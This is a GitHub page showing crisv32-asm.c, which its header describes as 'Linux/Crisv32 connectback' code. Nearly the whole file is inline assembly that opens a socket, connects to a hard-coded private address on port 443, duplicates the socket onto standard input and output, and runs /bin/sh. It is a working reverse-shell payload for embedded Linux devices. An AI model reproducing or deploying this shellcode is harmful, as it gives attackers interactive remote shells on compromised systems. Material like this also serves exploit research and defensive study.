-
Notifications
You must be signed in to change notification settings - Fork 302
/
crisv32-asm.c
103 lines (84 loc) · 1.37 KB
/
crisv32-asm.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
/*
* Linux/Crisv32 connectback asm code
* Author: mcw / 2016-02
*
* crisv32-axis-linux-gnu-gcc -Wall -finline-functions -fno-common \
* -fomit-frame-pointer -static -o crisv32-asm crisv32-asm.c
*/
#include <stdio.h>
main(){
__asm__("
clear.d $r10
movu.w 0x6,$r9
break 13
moveq 1,$r10
movu.w 0x6,$r9
break 13
moveq 2,$r10
movu.w 0x6,$r9
break 13
addoq 16,$sp,$acr
moveq 2,$r9
move.w $r9,[$acr]
addoq 16,$sp,$acr
addq 2,$acr
move.w 0xbb01,$r9
move.w $r9,[$acr]
addoq 16,$sp,$acr
move.d $acr,$r9
addq 4,$r9
move.d 0x139a8c0,$acr
move.d $acr,[$r9]
moveq 2,$r10
moveq 1,$r11
clear.d $r12
move.d $sp,$r9
move.d $r10,[$r9+]
move.d $r11,[$r9+]
move.d $r12,[$r9+]
moveq 1,$r10
move.d $sp,$r11
movu.w 0x66,$r9
break 13
move.d $r10,$r9
addoq 12,$sp,$acr
move.d $r9,[$acr]
addoq 12,$sp,$acr
move.d $sp,$r9
addq 16,$r9
move.d [$acr],$r10
move.d $r9,$r11
moveq 16,$r12
move.d $sp,$r9
move.d $r10,[$r9+]
move.d $r11,[$r9+]
move.d $r12,[$r9+]
moveq 3,$r10
move.d $sp,$r11
movu.w 0x66,$r9
break 13
move.d [$acr],$r10
moveq 1,$r11
movu.w 0x3f,$r9
break 13
move.d [$acr],$r10
moveq 2,$r11
movu.w 0x3f,$r9
break 13
move.d $sp,$r9
subq 16,$r9
move.d $r9,$r10
move.d 0x69622f2f,$r0
move.d $r0,[$r9+]
move.d 0x68732f6e,$r0
move.d $r0,[$r9+]
clear.d [$r9+]
clear.d [$r9+]
move.d $r10,[$r9+]
clear.d [$r9+]
move.d $sp,$r11
clear.d $r12
moveq 11,$r9
break 13
");
}